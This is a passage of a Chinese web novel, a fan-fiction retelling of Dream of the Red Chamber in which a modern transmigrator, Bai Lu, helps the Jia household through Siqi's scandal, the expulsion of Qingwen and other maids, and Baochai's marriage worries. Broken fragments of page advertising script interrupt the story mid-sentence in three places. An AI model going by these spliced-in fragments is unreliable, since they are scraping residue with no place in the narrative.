可家丑不便外扬,白露道:“你只管忙你的去,我先去园子里陪着姑娘们。忽然间出了这档子事,还不知道会不会乱起来呢。” “我先往太太那儿去,看能不能半路把人拦住。”凤姐点点头就起身出门,白露赶紧又追着上前加了一句:“记得千万别再随便动气,如今你的身子可经不起折腾!” 这是在提醒凤姐要是事情实在控制不住,大不了还可以装病呢。便不信贾家婆子们胆子那么大,当家奶奶都病成那样了还不消停。 凤姐意会,虽说从前只有她带病逞强,没有她没病装病的时候,可今时不同往日,该病的时候还是得病。 “哎哟!”凤姐走着走着身子就那么一软,半空中晃荡两下,“头怎么还晕得很,平儿快来搭把手。” “来了,奶奶小心。” 凤姐这边带着人走了,白露也让小红带路往园子里去。 迎春住在大观园深处的紫菱洲。虽是她的人出了事情,可依迎春的性子,八成也是八风不动,只有别的姊妹为她着急。 白露进了园就直往紫菱洲去,路上倒也瞧见几群小丫头,三三两两地聚在一起不知说些什么,见了白露几个,有的还笑着上来搭话。 “白太太是来找林姑娘的?今儿来得不巧,咱们园子里刚出了件新鲜事呢。” “呸!”小红张口就骂,“作死的蹄子,既出了事,如今不好好守在屋子里,偏到大路上来晃荡些个什么!一个个多嘴多舌,不怕上头主子们料理完了事情,再来料理你们。” 小丫头们哪里是肯受气的,当下就有人跟小红对骂起来。好在小红还记得自己的任务,推开小丫头们就领着白露继续往前走。 到了紫菱洲,外面一看倒还算是有条不紊,没见丫头婆子们没头没尾,苍蝇似的闹起来。 进去之后,姑娘们有一个算一个,果然都在这里。 白露也不多客套,见了面就说,“我才在你们二嫂子那儿给她瞧病,就听见园子里出了点事。如今凤哥儿已经去太太那儿了,我便来瞧瞧你们。” 迎春坐着,看着白露却没有一点反应,也不知是不是被这种事情吓呆了,不知道该怎么反应才好。 惜春和黛玉一左一右地陪着她,见了白露就跟见了救星似的眼睛一亮。 倒是探春起来替姐姐当家,又请白露上座,又叫小丫头们端茶倒水,又忙着把事情从头到尾解释了一遍。 “也不瞒姐姐,这事确实是司棋那丫头不对。一开始我也以为是几个婆子们找事,可谁知她们竟然连绣着鸳鸯……的荷包都拿出来了,又从司棋的箱子里翻出物证,一堆男人用的东西,可见确实是抵赖不得了。” 说完又自我检讨,“二嫂子病了,老太太、太太信我,让我来管着园子里的事。是我不好,竟没留心到底下丫头们生出了别的心思。” 迎春这时候才虚弱地开口,“与妹妹有什么干系。司棋是我身边的丫头,她不好,自然是因为我没管教好。” 眼看迎春一张小脸白的跟纸一样,再说下去,白露可真怕她也一口老血喷出来。于是赶紧打断,“好啦!男大当婚女大当嫁,那戏里是这么唱的,天底下谁日子又不是这么过的?小丫头们年纪大了,懂事了,有喜欢的人不是再正常不过的事?你们虽读书,却也不是傻子,自然知道那所谓的存天理灭人欲不过是说的好听,想得美罢了。” 黛玉故意接话好引白露往下说,“嫂嫂真爱说笑,朱子那话岂是这么解的?” “你们是好姑娘,从来做不出欺负丫头婆子们的事情,自然知道不是这么解的。可保不齐有些人性子霸道,只许自己放火,不许下面丫头们点灯。” 说得探春几个都笑,“还得是姐姐,正是这话!” 白露这一番话自然是要先替司棋辩上两句,跟表弟情投意合难道就是死罪了?没这个道理!这府里男人们玩得一个比一个花都没人说什么,小姑娘跟人纯爱呢,非把人逼死,这不是造孽是什么? 再说,帮了司棋,也是帮了迎春。真要把事情钉死在桃色丑闻上,便不关迎春的事,这小姑娘怕是也想不开了。 迎春人是懦弱了些,可也不是傻子。真要是傻子,也不可能下棋下得那样好。在心里把白露的话滚过几遍,迎春脸上终于慢慢有了血色。 “还要多谢姐姐特意来提点我,要不是姐姐这番话,我也要想左了。司棋有错,可错不在这桩事上,我这就去太太那!该我的,便是想躲也躲不过。” 迎春一动,姊妹们自然跟着要动。可迎春难得站出来自己拿主意,“姐妹们的情谊我都心领了,只是这事不好把大家都牵扯进来,我自去便是。更何况如今园子里闹得沸沸扬扬,我这紫菱洲里也不安生,还望姐妹们能看好园子,也替我守住这地方。” 见迎春心意已定,探春几个一起应了,“二姐姐放心。” 凤姐已经去了王夫人那儿,左右有她帮着迎春周旋。白露不好掺和,干脆陪几个妹妹们一起看园子。 想起路上遇到的看热闹的小丫头们,她又急忙对探春说了这事,“事情是昨晚上出的,如今大白天闹出来,也不知道传没传到园子外面去。但不论如何还是派人守紧门户的好。还有就是小丫头们,如今最好叫她们各人待在各处,禁止在园子里面随意走动,免得事情传来传去,最后传的越发不像样子。” 探春心里极有成算,当下就跟姐妹们商量,“还请姐姐暂时留在二姐姐这里。我们几个先各自回家,交代好各自的人不许闹事。然后请林姐姐和四妹妹再去怡红院,叫大丫头管住底下小丫头们,我去巡视前后门,有事咱们还来二姐姐这里碰头。” 黛玉和惜春都应了,可探春还不放心,指了自己的奶妈给两人帮忙,“林姐姐和四妹妹都是好人,不像我夜叉一样,要是那怡红院里的丫头们不听话,也别跟她们动怒,直接叫我奶妈从外面锁了大门就是。” 黛玉和惜春笑得直叫唤,推着探春出门,“多谢好夜叉,求夜叉发威,阵住下面的小鬼们。” 大观园里,姊妹们稳下心来各有应对。 前面王夫人院里,此刻才真是风雨欲来。 凤姐到底慢了一步,紧赶慢赶也没赶上一堆铁了心要把事情闹大的婆子们。 远远见着王夫人身边的玉钏儿杀鸡抹脖子地比划,凤姐就知道事情不好了。她在门口恶狠狠唾了一口,转脸就扬起笑,招呼也不打就掀帘子进去了。 一看不见邢夫人,凤姐心里就忍不住再骂一声老眼昏花。只是当着王夫人的面,她还是要做出一副忧心的样子来。 “你这会子倒是消息灵通,”王夫人语气不善,“家里大小事情都交给你,早干什么去了。” 说完不等凤姐回话,王夫人又转向李纨,“珠儿媳妇,这姑娘们从来都是你带着的,如 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 今底下的丫头不好,你怎么说?” 说说说,她还能说什么?凤丫头是早躲了家里事,如今虽是她和三丫头管着,可太太没事为难三丫头做什么,自然是想着法子找她的麻烦。 李纨真是有苦也说不出,只能老实背锅认罪,“太太息怒,都是我不好……” 乍一听婆子们来说逮到园子里丫头偷人,差点没把王夫人魂儿都吓飞,生怕宝玉又闹出了什么事来。 好在逮住的丫头是二姑娘身边的,算起来还是大房的人。一审问偷的什么人,也不是宝玉,是外边的什么表弟,王夫人的心这才落回肚子里。 心里安稳,脑子就活络开了。 想到最近不得已把家事交托给大儿媳妇,王夫人正好趁此机会压压李纨的气焰,免得李纨和下人都当了真。到时候尾大不掉,反而坏了她的大事。 至于司棋这事本身,王夫人倒真不怎么放在心上。看大房笑话而已,这些年难道看少了吗? 谁知道迎春忽然就这么进来了,也不管上下主子丫头婆子们瞪大了的眼睛,直接往地上一跪。 “太太容禀,这是原不干大嫂子二嫂子的事。司棋是我的丫头,是我没有管教好才叫她犯下这般大错。” 说着迎春就去看身边跪着的司棋,“你明知道园里的规矩,却还要把你那什么表弟偷摸着往园子里带。你信他是个好人,可也不想想,他若是装模作样蒙骗你的,进了园子,偷了你我的东西也罢,若是祸害到别的地方可如何是好? 更别说开了这风气,今儿你带个人来,明儿她带个人来,一时园子里岂不成了菜场?到时候打架的,赌钱的,吵嘴的,偷人偷东西的,好好的园子不就被这么祸害了?再传出去,我们姊妹还有什么脸做人?到时候莫说是你,便是我,一头碰死了也赎不了这罪!” 迎春说完便朝着王夫人磕头,“男婚女嫁,人世常情。司棋这丫头既生了旁的心思,便不好留在园子里了。此事不小,本该重罚,可还望太太看在她打小服侍,没有功劳也有苦劳;更何况姊妹们名声要紧,不宜闹大的份上,只说她大了该配人了,打发了她出去便是。 另外我这做主子的管教不力,差点祸害了姊妹们,又累的太太和嫂嫂们操心劳力,要打要罚,我绝无二话!” 那司棋与表弟本就是一时情难自制才大着胆子半夜相会,哪里想过前后许多。如今见自家平日里话都难说两句的姑娘又一口气说了这么多,又在这里磕头跪求;一边替她争取宽大处罚,想让她好好出去嫁人,一边又把什么事情都往自己身上揽,这才惊觉自己究竟干了什么,立刻哭着喊着认罪。 只是司棋也聪明,顺着迎春的话,也不说什么不该私相授受,只说自己千不该万不该,不该坏了园子里的规矩,把外人往里面带。 凤姐看着这主仆两个,心里可是诧异,万万没想到这迎春竟然能说出这样一番话来。 对么,比起丫头偷人,门禁不紧漏了人进园子里听起来也就没那么严重了。便是为了姑娘们和家里的名声,太太也不能把事情往大了闹! 王夫人果然脸都僵了,“好姑娘,快快起来!丫头们偶尔顽皮,岂是你时时刻刻都能盯得住的? 你的意思我都知道了。其实我早想着放批丫头们出去,择日不如撞日,干脆今天就支会她们各自老子娘来把人领走。” 凤姐暗赞一声好机变,这一来,正好方便太太快刀斩乱麻料理了怡红院。等老太太反应过来,她的人早就被太太踢出门去了! 24. 悲晴雯出走大观园 司棋的事事发突然。别说是李纨这样平时有事没事就背锅的被打了个措手不及,就连王夫人自己,一时间除了急着确认宝玉没有牵扯进来,也没有想好到底要怎么处置这件事。 如今迎春这样那样一说,王夫人就更不能如何了,否则岂不是致家里姑娘们的名声不顾?再传进宫里,难道娘娘脸上就有光彩了吗? 于是王夫人就叫李纨先带着迎春去梳洗,等人走了才看向凤姐,“你瞧瞧,你瞧瞧,我说早些把园子里年纪大了的丫头们打发出去,谁知道这么一耽搁,果然就生出事端来了。” 凤姐还能说什么,自然只能奉承王夫人有远见。 如今凤姐也不管家了,王夫人有心说她两句,可想想也是白说,干脆撂下这件事,招呼周瑞家的来。 “前儿去园子里看了各处丫头们,回来我叫你记的那个单子在哪儿?如今就拿出来,照着单子去传各自的家里人来把人领走。这实在也拖不得了。” 说完王夫人又叫了之前压着司棋来的一干婆子们进来吩咐,“你们都是忠心的,我自然看在眼里。如今还有一桩事要劳烦你们,等了结了,到时候一并赏重赏。” 婆子们自然喜不自胜,“请太太吩咐,我等必然尽心竭力。” “你们按照我列的单子去园子里把人传出来,记得动作快,悄悄地把事情办了,别闹大,更别扰了老太太的清静。” 且不说王夫人防着儿子,防着贾母,此番雷霆手段是下定决心要把园子里彻底清理一遍。 就说一群婆子们,在园子里时只能干些照顾花木,看守门户,洒扫清理的粗笨活,哪里有姑娘们身边的小丫头得脸。 不说月例银子比不上,单说一群毛丫头们仗着主子喜欢,对她们吆五喝六,蹬鼻子上脸,大大小小活扔给她们干,干完了却是丫头们去主子面前讨巧,还要她们时时小心陪笑着,这口气怎能咽得下? 好容易逮住司棋,婆子们硬是将人压了一晚上,一丝风声没走露,苦得那司棋叫天天不应,叫地地不灵,等着天亮了园子开门才到王夫人禀告。 婆子们本盼着事情能够闹大,好杀杀园子里丫头们的气焰,谁知主子们偏想的多,非要把事情压下去。本来正心灰意冷,谁知此时王夫人又要她们去拿园子里其她丫头,一时间当真峰回路转。于是婆子们个个扬眉吐气,发誓要把人一个不落地捉到王夫人面前来。 “旁的地方不过小猫两三只,太太有令,谅她们也不敢有二话,倒是不难对付。难对付的是怡红院里那起子人,个个牙尖嘴利,心眼子一个塞一个多,且惯会哄了主子替她们出头。惊动了宝二爷,你我可就吃不了兜着走了。” 婆子们出了门便私下商议,“咱们便推说太太这有东西给二爷,先骗了几个大丫头出门。剩下几个小的,我们不出面,叫底下孙女去骗了出来说话,到时候我们就在外边埋伏着,直接堵了嘴拉去太太那就是,谅她们小小年纪,也敌不过我们的力气和手段。” 众人都说此计甚妙,于是依计行事。果然不费什么功夫就把王夫人单子上的人引出了园子。 晴雯、碧痕几个大丫头来的路上还嘻嘻闹闹,说着不知道太太这回又要给什么稀罕东西。谁知到了王夫人这里才知道东西没有,竟是要她们出去配人的! 上头王夫人口口声声说开恩,几个丫头当即支撑不住,眨眨眼泪就下来了。没人觉得高兴,有那不想出去的,边哭得上气不接下气边求王夫人开恩。 “丫头大了,哪里有不嫁人的?”王夫人语气淡淡,“府里的规矩你们怕是也清楚,如今出了园子,一人给十两嫁妆银子。” 周瑞家的就在一边帮腔,“嫁的什么人有你们各自家里说定,只要是府里的家生子就好。比起那些盲婚哑嫁,胡乱叫丫头配了人家的,府里可是天大的恩德了。你们还不快谢恩。” 丫头们除了哭求也不知说什么是好。 其中碧痕跪倒在王夫人脚边,哭着道:“求太太开恩,好叫太太知道,我……我……二爷……” 不等她说完,周瑞家的一巴掌扇到碧痕脸上,“好个不要脸的小蹄子!太太发了话,你还敢耍心眼子!这是谁家的人,赶紧拉出去!” 被叫来的各人的妈或嫂子,原本指望着丫头在园子里当差,一年给家里省下多少米粮衣料不说,月钱银子还能帮衬家里,更有甚者,心里还指望着自家女儿能更争气些,说不定就是下一个赵姨娘。谁知忽然就叫把人领出去,心里就有些不高兴。 然而见周瑞家的如此凶悍,王夫人又一言不发,这些人脸上便不敢显露出来。 一听不止给十两银子,配哪家还能由自家说了定,要是能选家得脸的,这聘礼又是一笔,虽少了长久的银子,可到底也不赔本买卖。 有那知机的,在周瑞家的那里领了银子,拉着家里丫头就告退。轮到晴雯的嫂子多姑娘,那多姑娘千恩万谢完,又想拉晴雯去给王夫人磕头。 谁知晴雯把她手一甩,“哼,要家去,你自己家去!我才不跟你走。”回头看向王夫人,晴雯收敛神色,恭恭敬敬道:“太太慈悲,原该谢恩。可我如今虽在二爷房里伺候,究竟是老太太指派过去的。太□□赏我出去配人,可老太太的吩咐不能不顾,还望太太容我去回禀了老太太,是走是留,等老太太定夺。” 王夫人就看了凤姐一眼,凤姐会意,笑着说道:“晴雯这丫头是跟原先袭人一样,虽早早去了宝兄弟身边伺候,可确实是领的老太太那边的月例银子。” “倒是我忘了。”王夫人神色如故,只道,“园子里放人出去的事情,我早便跟老太太商量清楚了。如今既点了你的名,自然也是老太太应允,你也不用再去扰了老太太的清静。” 晴雯一听,两只眼睛恍惚瞬间冒起火来,她仰头看着王夫人,“老太太当初叫我伺候宝二爷时便说了,叫我长久跟着宝二爷,如今怎么会叫我这就家去?想来太太是说错了名儿,叫老太太把我当成别人了?” 王夫人皱眉不悦,“主子们在这里说话,那有你一个奴才多嘴的份!叫你出去 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 便出去,谁还能让你在这里讨价还价?老太太叫你伺候宝玉,你却只知道偷闲躲懒,如今一看果然是个刁钻古怪的东西。还不快立刻离了我这地方!” 王夫人话音一落,周瑞家的就招呼婆子们来拉扯晴雯。 谁知晴雯抵死不从,“太太这话我可不敢承受。这些年里不说其他,单说我夜夜守夜,便是没有功劳也有苦劳,何来偷闲躲懒一说?太太若是不信,何不把宝二爷也请来,看看他怎么说。” “反了反了!”谁知王夫人立刻勃然大怒,一只巴掌拍在身边小桌上,急得仿佛唱戏时候的鼓点,也不看晴雯,只催婆子们赶紧把人带走。 婆子们往年里也受过晴雯的气,如今看她吃瘪,自然心中得意。一时间三五人往上一拥,晴雯势单力薄,哪里是她们的对手。 一群人这便出了门,起初还能听见晴雯脆声声的叫喊,谁知后来那声音也不见了,只剩下多姑娘吃吃的笑声。 凤姐一看事情了了,便起身告辞。太太这样说一不二,把老太太的人说赶走就赶走,之后两个人拉扯起来,可别找她麻烦才是。 凤姐陪着迎春回了园子。 探春听完事情经过后便点头,大赞她反应机变,有理有据,对司棋的处置也是合情合理。 至于王夫人又另外发落了些丫头们出去,其实除了稻香村里的两个粗使丫头,其余便尽是怡红院里的了。 探春便笑,“太太虽有道理,也不知道二哥哥回家来吃到了,要怎么大闹天宫呢。” 姑娘们在这里说说笑笑。凤姐就继续找到白露商量。 “好端端的出了这样的事,我这心里总是不踏实。咱们家的情况你也知道,这人多嘴杂,便是我和太太严令封口,又哪里是真能封得住的? 司棋知道厉害,可还有那么多婆子,若是谁一时喝酒昏了头,露出去那么一星半点,二丫头可就要被坑死了。” 听凤姐这么一说,白露忽然想到,原书里王夫人抄查大观园后,迎春便匆匆忙忙被贾赦拉去抵了五千两银子的债,会不会也有名声受损,贾家没法再拿她去拉拢权贵高官的原因在? “你的意思是?” “我的意思是,二丫头的事宜早不宜迟!”凤姐巴掌一拍,“你说的那三家都好!等我想法子再打听打听,最迟月底就给你个准信!办成了,不说二丫头,就是我也念你的情。有了好东西,我忘了谁也记得你。” “要你谢,我难道是为了你?为了你家好东西?”白露拍拍手准备回家,“有这闲心,还是想想怎么说服你家老太太大太太吧。堂堂国公府的小姐,这要是随随便便下嫁,也不知道你家里人会不会把你这个当嫂子的生吞活剥了。” “去!”凤姐推了白露一把,“这世上还有我想干却干不成的事?你就等着瞧吧!” 两个人边说俏皮话边准备出了园子各回各家,谁知走到半路,便看见一个红色的人影风一样刮过去,后边还跟着一群丫头边追边喊:“我的好二爷啊!你可消停消停吧!” 25. 袭人良言劝宝玉 眼看宝玉就要大闹特闹,凤姐赶紧抢在前面装病装晕。 白露自然知道凤姐只是怕麻烦上门,又想着出来了这么久,昨夜也没怎么休息好,既然事情已经解决,倒不如早点回家去补上一觉。 谁知凤姐装得太像样,整个人直直往地上倒去,平儿一个人抱都抱不住。白露没法子,只能跟兰叶一起搭手,帮平儿把凤姐扶回她的屋子。 “我这心里难受死了,头也疼得很。好姐姐,看在我可怜的份上,你便再多留一会子。” 凤姐面上一副可怜兮兮的样子,可白露却知道她好着呢,“老实交代,你又打的什么主意?” “我能打什么主意?我最多不过防止别人把主意打到我头上罢了。我从前也是个傻的,别人哄两句,戴顶高帽,便真以为这府里离了我就转不了了,起早贪黑的溜得跟个傻子一样,越发惯的人变着法使唤我。不信,你就在这儿等着瞧,瞧一会儿有没有人来。” 吃瓜是人类的天性,更何况贾家这一大家子天天都有那么多热闹。 白露便真不急着走了,“去把你家好吃的好喝的端上来,我也享受一回。” 等饭来了,那边小红打听到的消息也来了。 “宝二爷知道了太太要打发园子里丫头们出去,直接就去太太那儿求情。太太心意坚定,自然不许宝二爷再把人叫回来,还跟宝二爷说了,年后就让搬出园子去,正好老爷结任归家,让宝二爷跟着老爷好好读书。 宝二爷说不动太太,只好先回园子里去。谁知道回去就不好了,说头疼,说胸口疼,说肚子疼,哪儿哪儿都疼,又嫌弃留下来的丫头们不会伺候人,听那意思,还是想等着话传到太太耳朵里,让太太心软,再把打发出去的人依旧叫回来呢。” 凤姐听了就笑,“好个宝玉,十几岁的人了,还来耍赖这一套。不过我敢料定,别说太太听了这抱怨压根不会搭理,就说如今怡红院里剩下那些丫头,有为太太马首是瞻的,有被杀鸡儆猴吓着的,更有巴不得少了人好叫自己顶了空的,人人都有一把算盘,可没功夫替宝玉去传话呢。” 小红也跟着笑,“可不是,宝二爷回去也快一个时辰了,如今还不曾见着有什么人去求见太太呢。” 白露听出凤姐隐隐有些瞧不上宝玉眼下这做派。不过老实说,宝玉为人确实少了几分担当。 前有金钏儿,后有晴雯,两个姑娘前后因他被逐出大观园,没多久就命丧黄泉。前前后后,宝玉能做的也只有一声叹息,事后祭奠一二罢了。 主子祭奠奴婢,古人或许以为这就是天大的恩情。可放现代人眼里,光说不做才有病。 可白露又想了想,“太太那里说不通,老太太那里如何?我可是知道的,你们府上孝子贤孙虽多,可老太太最疼的便是宝玉。” 白露想到贾母疼爱金孙,宝玉又何尝不知道祖母对自己有求必应? 眼见着往日一个个如花解语,清明灵秀的女儿家都变得愚拙不堪,各个只知道围着他叽喳吵闹,宝玉心烦意乱,原本的装头疼也变成了真头疼。 “够了!”他一把推开身边不知道哪个人喂到嘴边的勺子,愤愤起身道,“你们不愿去找太太说话,我自去找老太太去!” 袭人才被撒了一身甜水,如今又听得宝玉要去找老太太。顿时急得衣服也顾不上擦,撂下碗就去拉宝玉。 “你只顾自己心急,如今这般横冲直撞的,怕是想把人叫回来也难。” 宝玉脚步一顿,回身拉住袭人,切切道,“好姐姐,你有好法子叫太太回心转意?” 袭人见宝玉为晴雯等如此急切,心中难免酸涩,只是她一向大度体贴,仍然好言好语劝说:“你若是答应我不再莽撞行事,我便教你个法子。” “是我的错。”宝玉立刻陪笑,又亲自拿了帕子来替袭人擦衣裳,“好姐姐,求你原谅则个。” 袭人顺势拉着宝玉坐下,这才道:“府里丫头们大了,或是叫家里人来领了回去配人家,或是主子们开口指人,原本就是规矩。如今太太还许了各人十两嫁妆,更是慈悲心肠。 你只因自己舍不得就非要太太立时把说出去的话收回来,要是开了这个口子,日后太太有令,你不满意了你也闹,他不满意了他也闹,这府里岂不是要乱套? 更何况如今也不单单放了咱们院里的丫头,二姑娘、大太太那里都走了人。转眼偏偏叫咱们的人回来,你让二姑娘、大太太如何想?咱们这里一向比别处人都多,说句不该说的,都是一家子兄弟姊妹,独独显出你来,又岂是长久相处之道?” 见宝玉若有所思,是把自己的话听进去了,袭人接着道:“再一个,如今你要为这事去扰老太太。便是疼你,可难道要叫老太太驳了太太的意思?太太照规矩办事,其实何曾有错处?别说老太太难做,真如了你的意,岂不是你这个做儿子的伤了太太的面子?” “这也不行,那也不行,”宝玉长叹一声,“究竟该如何是好?” 袭人便出谋划策,“依我看,莫不如耐心等些时日。先在家里好好读书,让太太见了也欢喜。到时候再趁机说院子少了人,一时空落落的照应不过来,再请太太依旧把人叫回来伺候不迟。咱们这院子本就比别处大许多,多要些人手照管各处也是常理,有这个缘故,便是旁人也不好多说太太什么。” “好!”宝玉听后,瞬间只觉茅塞顿开,“姐姐此言当真是金玉良言。若非姐姐拦住我,只怕我还要坏了大事。” 可话说回来,宝玉转念一想,“太太此番让晴雯几个家里人领了她们回去,若是不能立时叫她们回来,耽搁些时日,真让她们家里人把她们许出去了如何是好?” 袭人脸色一变,只作不快,“难不成,这天底下女孩子都只能为你守着?人家若是有心,自然耐心等着你;若是无意,还不准人家高高兴兴上花轿?” 一番话说得宝玉想起当初看龄官画蔷,“是了,是了,便是人在一处,心也未必在一处……”说着便痴痴起身,又去提笔弄墨,“早知是各得各的眼泪,如今更知各有各的心意……” 袭人早习惯了宝玉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这股痴意,此时见他安静下来提笔写字,不再吵着闹着要去求老太太做主,这才放下心来。 至于王夫人那里,知道宝玉想通了,不仅不闹小孩子脾气,反而开始安心念书了,心里一边觉得袭人贤惠,一边更觉得自己趁机把怡红院里几个闹腾惹事的打发出去是对的。 “只可惜如今到底是有些晚了,宝玉被这些人耽误了几年。若是早些下定决心,说不得宝玉也不会养成如今这幅性子,说不定也能如珠儿一样早早中举……” 王夫人说着说着便垂泪。一旁来串门的薛姨妈就赶紧劝慰,“姐姐心疼宝玉被耽误,可如今宝玉才多大?我看宝玉是个有福的,早早经了历练,日后便不怕再有诱惑。宝玉如今一时发奋,许是明年先中举人,后年就给姐姐考个状元回来。说起来,怪不得那袭人人人都说她好,能这样事事周全,既体贴姐姐的颜面,又劝了宝玉上进,果真是难得的贤惠人,怕是打着灯笼也难找。” 听了薛姨妈的话,王夫人连连点头,“袭人那孩子果真不错。平日里话也不多,可一到要紧时候,也只有她说出来的话才那么有道理,才能叫宝玉听得进去。你见她平日里不声不响,却是实实在在把宝玉放在心上的,不知比那些油嘴滑舌,只知道哄着宝玉高兴的强出多少去。” 王夫人大赞袭人,薛姨妈只得笑着附和。 可那袭人与她非亲非故,说那么一嘴,不过是想做个引子,好叫这贤惠人能让她这好姐姐想起自家更贤惠的宝钗罢了。 那袭人再贤惠,不过一个丫头,日后顶破天去也就是个姨娘。真论贤惠大方,能当宝二奶奶,还得是她家姑娘。 谁知王夫人说来说去,就是不说宝钗。薛姨妈便忍不住纳闷,心想她这姐姐怕是一心关心宝玉,一时想不起来其她。 说了半下午话,薛姨妈一头雾水地回到家里。又一个人琢磨了半天,心里才咯噔一下,“坏了!别是老太太又看上别家姑娘,姐姐便把宝钗丢开了吧?” 薛姨妈又急又气,恨不得立时就冲回王夫人那里,叫她姐妹俩面对面把话说清楚。 可想也知道这事不能拿出来大声嚷嚷。薛姨妈无法,心中气馁,本想等儿子回来有个商量,却左等右等也不见人影。 宝钗听了香菱说太太又在一个人哭,叹了声气,提着灯进了薛姨妈房间,轻轻道:“天晚了,妈怎么不开灯?” 薛姨妈侧过脸去不看她。 宝钗便自己走到薛姨妈面前,蹲下身去伏在她膝头,“妈心疼我,总想为我找个长久依靠。如今只是姨妈那里说不通,妈便以为我前途没指望了?妈目光不妨放长远些,便知道,别人都说好的,未必过得好;别人都可怜的,未必过得不好。” “我的儿,”薛姨妈抽咽一声,“你是说你凤姐姐,还有黛玉她嫂嫂。也是……”薛姨妈忽然哭得更伤心了,“都说贾家国公府邸好,可细看着,从你姨妈到你表姐,谁的日子真的好了,不过是熬完了旧人熬新人。我也是猪油蒙了心,才会想着再把你推火坑里去接着为他贾家的男人熬。” 26. 薛姨妈顿悟阴谋 薛姨妈哭了大半夜。 怎么能不哭呢?好好的家业,不知怎么的便风雨飘摇。虽有个儿子,不仅不能顶事,还要日日悬心怕他再闹出事端。养个漂亮又聪明的女儿,如今拖到这个岁数,前途还是一片黑暗。 亲妈、兄长、姨妈、表弟……细细算来,没有哪一个是靠得住的。 “我的儿,你好苦的命!”薛姨妈揪着枕头咬着帕子,伏在床上哭得上气不接下气。 宝钗就在一旁劝慰,“爹虽去了,可我还有妈和哥哥,打小顺风顺水长到如今,无病无灾,不知饥寒的,不知道比多少人强了去。如今只是一时婚事不顺妈就哭成这样,那别家家破人亡,骨肉分离的,岂不是要日日夜夜以泪洗面了。” 薛姨妈见宝钗竟如此从容豁达,一时心中略略宽慰,一时又越发难过,只怨老天不成全。 “当着你哥哥的官司传来,我只顾得心慌,却没有仔细想想这里面的门道。其实那人虽是死了,可究竟不是你哥哥亲自动的手,是两家争执起来,下人们下手重了。况且也不是当场就把他打死了,是回了家去,他家里人没有好生照看,这才一来二去拖垮了身子。 他家里下人咬着告官,也不过想多讹些银子。本来多花些钱就能私下了结,可那些官你推我,我推他,推来推去就是不给个准话,一个个故意把事情往大了里说,打着就是哄咱们家掏钱的主意。这钱不知道撒出去多少,那得了好处的人拍拍屁股去别处赴任,哪里管你哥哥的死活。 后来虽遇上了贾雨村,终究也不是个老实的,一时误伤的罪,竟活生生给你哥哥判了个死罪!彻底销了户!如今可好,害得咱们家内务府里的买卖也接不了,更害得你这出身有了污点,想选秀也选不得了。” 薛姨妈平日里只管照应家里儿女,并不怎么懂外面的事情。当日一应事务都委托家里老管家去办,自己只在家里等着消息。 起初还高兴儿子能逃了死罪,可事后越想越不对劲。 原本以她薛家的势力,打死个把人算得了什么?怎么偏偏事情就闹到这么大?如今回头一看,这家竟是已经穷途末路,只能投奔着亲戚,撒出海一样的银子求个庇佑罢了。 薛姨妈心里算了笔账。这些年她母子三人虽然靠着贾家,可最多不过借了他家一个小院子。 平时开销都是自己的不说,为宫里娘娘,为贾家上上下下老少爷们儿,钱啊物啊,真是成山成海的填进去了。 那贾雨村莫不是跟这府里串通好了?故意下的黑手,好来谋夺她家银子的吧?! 脑子里突然间冒出这个想法,薛姨妈不由得悚然一惊。 “我的儿,妈差点误了你!”薛姨妈吓得整个人浑身一个机灵,“他们这是打量着你凤姐姐的嫁妆都填干净了,如今想换个人继续坑你呢!你瞧凤丫头,多精明的一个人,往常有事没事她哪里不上赶着?如今三天两头病一场,十天半月下不了床,我偏不信她这么年轻身子就不行了,这是知道府里情况不好准备抽身了!” 薛姨妈越想越是这个道理,顿时豁然开朗。于是又怨凤姐不顾亲戚情意,冷眼看着她家往火坑里跳;又怨王夫人不顾姐妹之情,为了儿子能坑了亲侄女。 宝钗开先默然不语,过了好一阵儿才道:“颦儿是个聪明的,知道这府里这样下去不是长久之计。三丫头也是个有远见的,去了赖家逛园子,回来便打量着自家园子能办多大的事。” “姑娘们各个都是好的。”薛姨妈也叹气,“说句老实话,你瞧你姐妹们一年到头能花几个钱?吃的穿的用的都是份例,便是那三姑娘的亲妈变着法在你姨父耳边说好话,你姨父又能给个姑娘多少?手指头缝里露出来的一点笔墨字画,虽然也是值钱东西,可怎比得上她兄弟侄儿们日日花天酒地的造。姑娘们自己日子过得这样简朴,偏偏却是她们操心着这府里。” 宝钗没再说话,心里却觉得自家妈说得这话极是。宝玉看着虽好,却也只是没其他人闹得那样厉害罢了,其实吃喝玩乐,他难道就少了? 平日园子里姊妹们搭理他,他才耐心在家里多待。如今姊妹们一个二个九成心思都扑在教书上,他找不着人闹,这不就把精力都使在小丫头们身上和外边儿去了。 小时候瞧着还好。再过两年,说不得就跟如今东府里爷们是一个模样了。 果真如此,那也算不得好依靠。 “如今也顾不上那许多。”宝钗心里早有念头,只是此前犹豫不决,今晚是下定决心了。 于是白露才闲了两天功夫,忽然又接到了薛家的帖子。 老实说白露同宝钗的接触也不多,主要是不知为什么薛姨妈身子就不好了,于是宝钗也没像书里写的那样一直住在园子里。 如今宝钗十日里有八日都陪着薛姨妈,剩下两三日才进园子看看姐妹们。白露本人无事又不去贾家,故而两个人倒真没碰上几面。 上回宝钗来她家里玩了半日,两个人其实也没有说上什么悄悄话。 “这次不知道又有什么事?”见兰叶和秋桂不是很欢喜的样子,白露笑道,“怎么,薛家姑娘你们又不是见过,上回来了,你们不是也说人着实有风度?” “薛姑娘好,她那兄弟可不好。一天到晚不着调的,跟这样的人家离远些才是呢。” “无妨。薛大爷虽是个莽的,可知道什么人能惹什么人不能惹,见了咱们家的招牌,他自己知道走远些的。” 兰叶和秋桂没别的话说,只能乖乖替白露向宝钗回帖。 “贸然扰了白姐姐的清静,还望姐姐原谅。” 宝钗待人接物一向周全,知道白露是个爽快性子,说话也就不来那些弯弯绕,略略客气一番,便只说来意。 “我家中境况如何,亲戚们其实都看在眼里。如今姨妈家态度含糊,舅舅家又早就避之不及,哥哥愚鲁,恐不是长久依靠,眼下日子虽还过得,可我实在不得不为妈和自己另作打算。” 白露有些吃惊,宝钗竟然不想些嫁宝玉了吗? 也是好事呀! “那你的意思是?” 